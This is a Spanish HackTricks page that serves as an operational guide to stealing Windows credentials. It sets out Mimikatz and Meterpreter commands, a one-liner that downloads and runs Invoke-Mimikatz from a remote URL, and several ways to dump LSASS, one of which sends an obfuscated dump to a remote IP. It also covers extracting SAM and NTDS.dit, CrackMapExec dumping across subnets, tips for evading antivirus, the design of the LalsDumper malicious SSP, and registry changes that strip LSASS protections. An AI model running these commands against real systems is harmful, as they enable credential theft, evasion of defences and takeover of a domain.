Robo de credenciales de Windows
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Credenciales Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Encuentra otras cosas que Mimikatz puede hacer en this page.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Aprende sobre algunas posibles protecciones de credenciales aquí. Estas protecciones podrían evitar que Mimikatz extraiga algunas credenciales.
Credentials con Meterpreter
Usa el Credentials Plugin que he creado para buscar passwords and hashes en la víctima.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Eludir AV
Procdump + Mimikatz
Como Procdump from SysInternals es una herramienta legítima de Microsoft, no es detectado por Defender.
Puedes usar esta herramienta para dump the lsass process, download the dump y extraer las credentials localmente del dump.
También puedes usar SharpDump.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
Este proceso se realiza automáticamente con SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Nota: Algunos AV pueden detectar como malicioso el uso de procdump.exe to dump lsass.exe, esto se debe a que están detectando la cadena “procdump.exe” and “lsass.exe”. Por lo tanto es más sigiloso pasar como argumento el PID de lsass.exe a procdump en lugar de el nombre lsass.exe.
Volcado de lsass con comsvcs.dll
Una DLL llamada comsvcs.dll ubicada en C:\Windows\System32 es responsable del volcado de la memoria de procesos en caso de un fallo. Esta DLL incluye una función llamada MiniDumpW, diseñada para ser invocada usando rundll32.exe.
Es irrelevante usar los dos primeros argumentos, pero el tercero se divide en tres componentes. El ID del proceso a volcar constituye el primer componente, la ubicación del archivo de volcado representa el segundo, y el tercer componente es estrictamente la palabra full. No existen opciones alternativas.
Al analizar estos tres componentes, la DLL procede a crear el archivo de volcado y a transferir la memoria del proceso especificado a este archivo.
Es posible utilizar la comsvcs.dll para volcar el proceso lsass, eliminando así la necesidad de subir y ejecutar procdump. Este método se describe en detalle en https://en.hackndo.com/remote-lsass-dump-passwords/.
The following command is employed for execution:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Puedes automatizar este proceso con lssasy.
Volcar lsass con el Administrador de tareas
- Haz clic derecho en la barra de tareas y selecciona Administrador de tareas
- Haz clic en Más detalles
- Busca el proceso “Local Security Authority Process” en la pestaña Procesos
- Haz clic derecho sobre el proceso “Local Security Authority Process” y selecciona “Crear archivo de volcado”.
Volcar lsass con procdump
Procdump es un binario firmado por Microsoft que forma parte de la suite sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Volcado de lsass con PPLBlade
PPLBlade es un Protected Process Dumper Tool que soporta ofuscar memory dump files y transferirlos a estaciones de trabajo remotas sin escribirlos en disco.
Funcionalidades clave:
- Evadir la protección PPL
- Ofuscar memory dump files para evadir los mecanismos de detección basados en firmas de Defender
- Subir memory dump con los métodos de upload RAW y SMB sin escribirlos en disco (fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper – SSP-based LSASS dumping without MiniDumpWriteDump
Ink Dragon distribuye un dumper de tres etapas apodado LalsDumper que nunca llama a MiniDumpWriteDump, por lo que los hooks de EDR en esa API nunca se disparan:
- Stage 1 loader (
lals.exe) – busca enfdp.dllun placeholder consistente en 32 caracteresden minúscula, lo sobrescribe con la ruta absoluta artu.txt, guarda el DLL parcheado comonfdp.dlly llama aAddSecurityPackageA("nfdp","fdp"). Esto fuerza a LSASS a cargar el DLL malicioso como un nuevo Security Support Provider (SSP). - Stage 2 inside LSASS – cuando LSASS carga
nfdp.dll, el DLL leertu.txt, hace XOR a cada byte con0x20, y mapea el blob decodificado en memoria antes de transferir la ejecución. - Stage 3 dumper – el payload mapeado re-implementa la lógica de MiniDump usando direct syscalls resueltos desde nombres de API hasheados (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). Una exportación dedicada llamadaTomabre%TEMP%\<pid>.ddt, escribe un volcado comprimido de LSASS en el archivo y cierra el handle para que la exfiltración pueda ocurrir después.
Notas del operador:
- Mantén
lals.exe,fdp.dll,nfdp.dll, yrtu.txten el mismo directorio. Stage 1 reescribe el placeholder hard-codeado con la ruta absoluta artu.txt, así que separarlos rompe la cadena. - La registración ocurre añadiendo
nfdpaHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Puedes presembrar ese valor tú mismo para hacer que LSASS recargue el SSP en cada arranque. - Los archivos
%TEMP%\*.ddtson dumps comprimidos. Descomprímelos localmente y luego aliméntalos a Mimikatz/Volatility para extraer credenciales. - Ejecutar
lals.exerequiere privilegios admin/SeTcb para queAddSecurityPackageAtenga éxito; una vez que la llamada retorna, LSASS carga de forma transparente el SSP malicioso y ejecuta Stage 2. - Eliminar el DLL del disco no lo expulsa de LSASS. O bien borra la entrada del registro y reinicia LSASS (reboot) o déjalo para persistencia a largo plazo.
CrackMapExec
Volcar los hashes de SAM
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Volcar el NTDS.dit del DC objetivo
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Volcar el historial de contraseñas de NTDS.dit desde el DC objetivo
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Mostrar el atributo pwdLastSet para cada cuenta de NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Robo de SAM & SYSTEM
Estos archivos deberían estar ubicados en C:\windows\system32\config\SAM y C:\windows\system32\config\SYSTEM. Pero no puedes simplemente copiarlos de forma regular porque están protegidos.
Desde el Registro
La forma más fácil de robar esos archivos es obtener una copia desde el registro:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Descarga esos archivos en tu máquina Kali y extrae los hashes usando:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Puedes realizar copias de archivos protegidos usando este servicio. Necesitas ser Administrator.
Usando vssadmin
El binario vssadmin solo está disponible en versiones de Windows Server
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Pero también puedes hacerlo desde Powershell. Este es un ejemplo de cómo copiar el SAM file (la unidad usada es “C:” y se guarda en C:\users\Public), pero puedes usar esto para copiar cualquier archivo protegido:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Código del libro: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
Finalmente, también podrías usar el PS script Invoke-NinjaCopy para hacer una copia de SAM, SYSTEM y ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
El archivo NTDS.dit es conocido como el núcleo de Active Directory, y contiene datos cruciales sobre objetos de usuario, grupos y sus membresías. Es donde se almacenan los password hashes de los usuarios del dominio. Este archivo es una base de datos Extensible Storage Engine (ESE) y reside en %SystemRoom%/NTDS/ntds.dit.
Dentro de esta base de datos se mantienen tres tablas principales:
- Data Table: Esta tabla se encarga de almacenar detalles sobre objetos como usuarios y grupos.
- Link Table: Mantiene un registro de las relaciones, como las membresías de grupo.
- SD Table: Aquí se guardan los descriptores de seguridad de cada objeto, asegurando la seguridad y el control de acceso de los objetos almacenados.
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows usa Ntdsa.dll para interactuar con ese archivo y es usado por lsass.exe. Entonces, parte del archivo NTDS.dit podría estar ubicada dentro de la memoria de lsass (puedes encontrar los datos accedidos más recientemente, probablemente debido a la mejora de rendimiento al usar una caché).
Decrypting the hashes inside NTDS.dit
El hash está cifrado 3 veces:
- Descifrar el Password Encryption Key (PEK) usando la BOOTKEY y RC4.
- Descifrar el hash usando PEK y RC4.
- Descifrar el hash usando DES.
El PEK tiene el mismo valor en cada controlador de dominio, pero está cifrado dentro del archivo NTDS.dit usando la BOOTKEY del archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio). Por eso, para obtener las credenciales del archivo NTDS.dit necesitas los archivos NTDS.dit y SYSTEM (C:\Windows\System32\config\SYSTEM).
Copying NTDS.dit using Ntdsutil
Available since Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
También puedes usar el truco de volume shadow copy para copiar el archivo ntds.dit. Recuerda que también necesitarás una copia del archivo SYSTEM (nuevamente, dump it from the registry or use the volume shadow copy truco).
Extrayendo hashes de NTDS.dit
Una vez que hayas obtenido los archivos NTDS.dit y SYSTEM puedes usar herramientas como secretsdump.py para extraer los hashes:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
También puedes extraerlos automáticamente usando un usuario domain admin válido:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Para archivos NTDS.dit grandes se recomienda extraerlos con gosecretsdump.
Finalmente, también puedes usar el módulo de metasploit: post/windows/gather/credentials/domain_hashdump o mimikatz lsadump::lsa /inject
Extracción de objetos de dominio de NTDS.dit a una base de datos SQLite
Los objetos NTDS se pueden extraer a una base de datos SQLite con ntdsdotsqlite. No solo se extraen los secretos, sino también los objetos completos y sus atributos para obtener más información cuando el archivo bruto NTDS.dit ya ha sido recuperado.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
La colmena SYSTEM es opcional pero permite el descifrado de secretos (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). Junto con otra información, se extraen los siguientes datos : user and machine accounts with their hashes, UAC flags, timestamp for last logon and password change, accounts description, names, UPN, SPN, groups and recursive memberships, organizational units tree and membership, trusted domains with trusts type, direction and attributes…
Lazagne
Descarga el binario desde here. Puedes usar este binario para extraer credenciales de varios software.
lazagne.exe all
Otras herramientas para extraer credentials de SAM y LSASS
Windows credentials Editor (WCE)
Esta herramienta puede usarse para extraer credentials de la memoria. Descárgala desde: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Extrae credentials del archivo SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Extraer credenciales del archivo SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.
Minería de sesiones RDP inactivas y debilitamiento de controles de seguridad
El RAT FinalDraft de Ink Dragon incluye un tasker DumpRDPHistory cuyas técnicas son útiles para cualquier red-teamer:
Recolección de telemetría al estilo DumpRDPHistory
- Objetivos RDP salientes – analiza cada hive de usuario en
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*. Cada subclave almacena el nombre del servidor,UsernameHint, y la marca de tiempo del último escrito. Puedes replicar la lógica de FinalDraft con PowerShell:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Evidencia RDP entrante – consulta el registro
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationalpor los Event IDs 21 (inicio de sesión exitoso) y 25 (desconexión) para mapear quién administró la máquina:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
Una vez sepan qué Domain Admin se conecta regularmente, vuelquen LSASS (con LalsDumper/Mimikatz) mientras su sesión desconectada aún exista. CredSSP + NTLM fallback deja su verificador y tokens en LSASS, que luego pueden ser reproducidos sobre SMB/WinRM para obtener NTDS.dit o preparar persistencia en los controladores de dominio.
Degradaciones del registro dirigidas por FinalDraft
El mismo implant también manipula varias claves del registro para facilitar el robo de credenciales:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
- Setting
DisableRestrictedAdmin=1forces full credential/ticket reuse during RDP, enabling pass-the-hash style pivots. LocalAccountTokenFilterPolicy=1disables UAC token filtering so local admins get unrestricted tokens over the network.DSRMAdminLogonBehavior=2lets the DSRM administrator log on while the DC is online, giving attackers another built-in high-privilege account.RunAsPPL=0removes LSASS PPL protections, making memory access trivial for dumpers such as LalsDumper.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

